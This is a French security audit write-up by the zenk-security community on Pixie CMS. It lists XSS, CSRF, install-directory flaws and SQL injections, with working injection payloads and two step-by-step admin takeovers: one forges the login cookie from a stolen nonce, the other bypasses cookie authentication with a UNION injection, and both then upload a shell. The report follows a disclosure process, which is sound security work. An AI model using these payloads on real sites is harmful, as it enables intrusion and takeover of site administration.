Sommaire

1 Qui sommes nous ?....1
2 Nos audits de sécurité....2
3 Notre choix....2
4 Les participants....2
5 Compte rendu de l'audit....3

1 Qui sommes nous ?

La communauté zenk-security a pour objet principal la sécurité informatique, nous sommes des touches à tout, des fouineurs, nous expérimentons à tout va et nous partageons sans autre restriction que le respect.

Notre site répertorie nos tutos, articles informatifs et autres textes techniques ou non, c'est le côté partage de notre communauté.
Pourtant, et vous vous en rendrez vite compte, nous cultivons la discrétion et la qualité, le principal contenu de notre forum n'est accessible qu'aux membres de notre communauté.

La raison est simple : certains savoirs ne sont pas à placer entre toutes les mains.

Quid des acharnés d'une utopie du partage alors?

Notre position est ambiguë nous devons l'admettre, nous prônons le partage des connaissances sans restriction, c'est la pierre angulaire de la communauté, mais nous ne sommes pas aveugles au point de penser que tous ont l'intelligence ou la maturité nécessaire à l'utilisation judicieuse d'un savoir qui par définition est neutre.
Fort du constat que la connotation du savoir dépend avant tout de la moralité et de la franchise envers lui même de l'utilisateur, nous préférons réserver ce savoir pour ceux qui sont aptes à l'utiliser pour le bien commun.

Arbitraire, certes, mais avez vous mieux à proposer?

Le savoir est une arme autant que les mots ou l'acier et nous ne sommes pas une armurerie.

La communauté n'est pas considérée par ses membres comme un énième lieu de leech à tout va, nous partageons réellement et notre credo, notre dogme, c'est d'apporter ce que nous pouvons, dans la mesure de nos moyens et de nous élever grâce aux contributions des autres membres.

Du partage naît l'apprentissage et de l'apprentissage naît le partage, nous ne cherchons pas à savoir qui de l'un a engendré l'autre en premier, nous nous contentons d'entretenir la boucle ainsi formée et de progresser en nous aidant les uns les autres, simplement.

2 Nos audits de sécurité

Au sein de la communauté nous utilisons le nom de Zenk Roulette, le principe est simple nous choisissons une application open source que nous installons sur nos serveurs, à partir de là nous commençons un audit de sécurité sur l'application choisie.
Cet audit est fait exclusivement pour le fun, c'est un plaisir avant tout et il reste entièrement privé.
Les audits sont fait par des professionnelles et des passionnés du monde de la sécurité informatique.
Suite à cet audit nous fournissons un rapport aux "propriétaires" de l'application lui fournissant quelques conseils, ensuite nous attendons sa réponse par mail et l'application de correctif sous une période correcte avant de rendre publique notre rapport.
Généralement si au bout d'un mois nous n'avons pas de réponse des propriétaires nous rendons publique le rapport, dans le cas contraire nous nous arrangeons avec les propriétaires pour le rendre publique une fois les vulnérabilités corrigées.
Bien sur nous restons disponible pour toute question.

3 Notre choix

Application auditée : Pixie CMS
URL : http://www.getpixie.co.uk
Date : Dimanche 8 Août 2010

4 Les participants

tryks
sh4ka
tr4nce
warr
joanelis
SIGSKILL
bik3te

5 Compte rendu de l'audit

Des XSS ici où là… (Un peu partout en fait :/)

Un déni de service si le répertoire install n'a pas été effacé : Une fois installé, si on relance l'installation en mettant ce que l'on veut comme user/password/database, cela réécrit le fichier config. Or comme les données que l'on a rentré sont fausses, le fichier config est vide. Donc il n'est plus possible d'avoir accès au blog.

Toujours dans le cas où le dossier install est présent, on peut obtenir des informations sur la configuration du serveur à l'url

```
/admin/install/upgrade.php.
```

Enfin pour la dernière fois dans ce même cas, http://localhost/pixie/admin/install/createuser.php permet de créer un utilisateur de n'importe quel niveau (meme admin et super user)

Un script d'upload étant intégré dans la partie admin :

```
/admin/?s=publish&x=filemanager
```

On peut se faire un shell facilement.

Une XSRF sur le panneau d'administration : http://localhost/pixie/admin/index.php?s=settings&x=site On peut créer un formulaire en reprenant les paramètres de celui-ci et en forçant l'admin à le soumettre.

Les noms des backups dans http://localhost/pixie/files/sqlbackups sont prévisibles. Ils sont de la forme jour_mois_annee-heure-minute-seconde On pourrait donc autoriser la recherche des backups via un script de brute force.

Pour les SQL injections : Dans createuser.php sur tout les champs, possibilités d'extraction de data depuis un ON DUPLICATE KEY puis lecture du profil de l'utilisateur

```
uname=test&realname=bla&email=lol&privs=3' ON DUPLICATE KEY UPDATE biography = (SELECT @@version)%23&user_new=Create
```

Puis consultation du profil sur http://localhost/pixie/admin/index.php?s=myaccount&x=myprofile

Sur le champ s :

```
http://localhost/pixie/?s=blog'AND(IF(1=1,SLEEP(5),2))%23
```

–> Pas d'espace donc contrainte, mais utilisable pour les blinds

Sur le champ edit :

```
http://localhost/pixie/admin/?s=publish&m=static&x=about&edit=1 and 1=1

http://localhost/pixie/admin/?s=publish&m=static&x=about&edit=1 and 1=2
```

Dans les commentaires sur n'importe quel champs : Dans le champ commentaire par exemple,

```
lol', comments_id=1337
```

créer un commentaire avec l'id que l'on souhaite et

```
', comments_id=1337 ON DUPLICATE KEY UPDATE comment=@@version#
```

pour exploiter. Cette faille est très pratique pour faire des SQLi sans être grillé Smile On poste un commentaire bidon, un d'exploitation par dessus, puis un dernier faisant “réel” par dessus.
A l'assaut du compte admin :

Le script d'authentification par cookie

```
function auth_check() {
   global $lang;
   if (isset($_COOKIE['pixie_login'])) {
      list($username, $cookie_hash) = explode(',', $_COOKIE['pixie_login']);
      $nonce = safe_field('nonce', 'pixie_users', "user_name='$username'");
      if (md5($username . $nonce) == $cookie_hash) { // check nonce
         $privs    = safe_field('privs', 'pixie_users', "user_name='$username'"); // login is good,
create user
         $realname = safe_field('realname', 'pixie_users', "user_name='$username'");
         if (isset($realname)) {
            $GLOBALS['pixie_real_name'] = $realname;
         }
         if (isset($privs)) {
            $GLOBALS['pixie_user_privs'] = $privs;
         }
         $GLOBALS['pixie_user'] = $username;
         return '';
      } else { // something's wrong
         $GLOBALS['pixie_user'] = '';
         setcookie('pixie_login', '', time() - 3600);
         $message = $lang['bad_cookie'];
         return $message;
      }
   } else {
      $GLOBALS['pixie_user'] = '';
      setcookie('pixie_login', '', time() - 3600);
   }
}
```

Deux méthodes, mais un seul résultat

- La mienne (moins t4pz que la prochaine). On récupère le nonce de l'admin via la SQLi des commentaires par exemple,

```
', comments_id=1 ON DUPLICATE KEY UPDATE comment=(SELECT nonce FROM pixie_users WHERE user_name='pixie')#
```

ou user_id=1

On concatène le pseudo et le nonce, on fait un md5 du tout. Et enfin, on créé un cookie avec pixie_login=pseudo_admin%2Chash_md5 ex via l'url :

```
javascript:void(document.cookie="pixie_login=pseudo_admin%2Chash_md5")
```

Un ptit refresh et on est admin

- Méthode de sh4ka

```
$nonce = safe_field('nonce', 'pixie_users', "user_name='$username'");
```

On contrôle $username, on peut donc injecter et faire retourner ce que l'on veut. En mettant

```
lol' UNION SELECT '3
```

dans $username, $nonce sera égal a 3. On a donc :

```
$username = "lol' UNION SELECT '3" et $nonce ="3"
```

On a plus qu'à calculer md5(“lol' UNION SELECT '33”) pour bypass le if. La requête suivante récupère le niveau de privilège et le realname en se basant une nouvelle fois sur $username. Donc ici lol' UNION SELECT '3 Soit $privs = 3 et $realname = 3 Nous sommes donc authentifiés en superuser (niveau 3).

Le script d'upload nous permettra ensuite de se faire un shell.

Lien original :: http://forum.zenk-security.com/thread-1539.html